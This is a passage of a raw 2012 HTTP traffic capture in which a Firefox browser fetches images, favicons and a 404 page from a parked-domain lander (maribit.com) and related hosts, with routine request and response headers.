Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/0.8.54
Date: Thu, 08 Nov 2012 01:48:02 GMT
Content-Length: 7602
Last-Modified: Thu, 05 Jan 2012 01:16:56 GMT
Connection: close
Accept-Ranges: bytes
GET /images/star_24.gif HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/0.8.54
Date: Thu, 08 Nov 2012 01:48:02 GMT
Content-Length: 1312
Last-Modified: Fri, 06 Jan 2012 17:17:39 GMT
Connection: close
Accept-Ranges: bytes
GET /landerbanners/ma/maribit.com.jpg HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: nginx/0.8.54
Date: Thu, 08 Nov 2012 01:48:02 GMT
Content-Length: 16299
Last-Modified: Mon, 13 Feb 2012 16:31:41 GMT
Connection: close
Accept-Ranges: bytes
GET /favicon.ico HTTP/1.1

Host: maribit.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: WEBUK=WUK07; uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: image/x-icon

Date: Thu, 08 Nov 2012 01:50:36 GMT
Server: Apache/2.2.20 (Ubuntu)
Last-Modified: Fri, 17 Aug 2012 19:42:54 GMT
Etag: &quot;36e0278-0-4c77b5db6ab80&quot;
Accept-Ranges: bytes
Content-Length: 0
Connection: close
GET /404.php HTTP/1.1

Host: uni.me

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.burdissomauro.com/
 


 
 
GET /favicon.ico HTTP/1.1

Host: www.burdissomauro.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive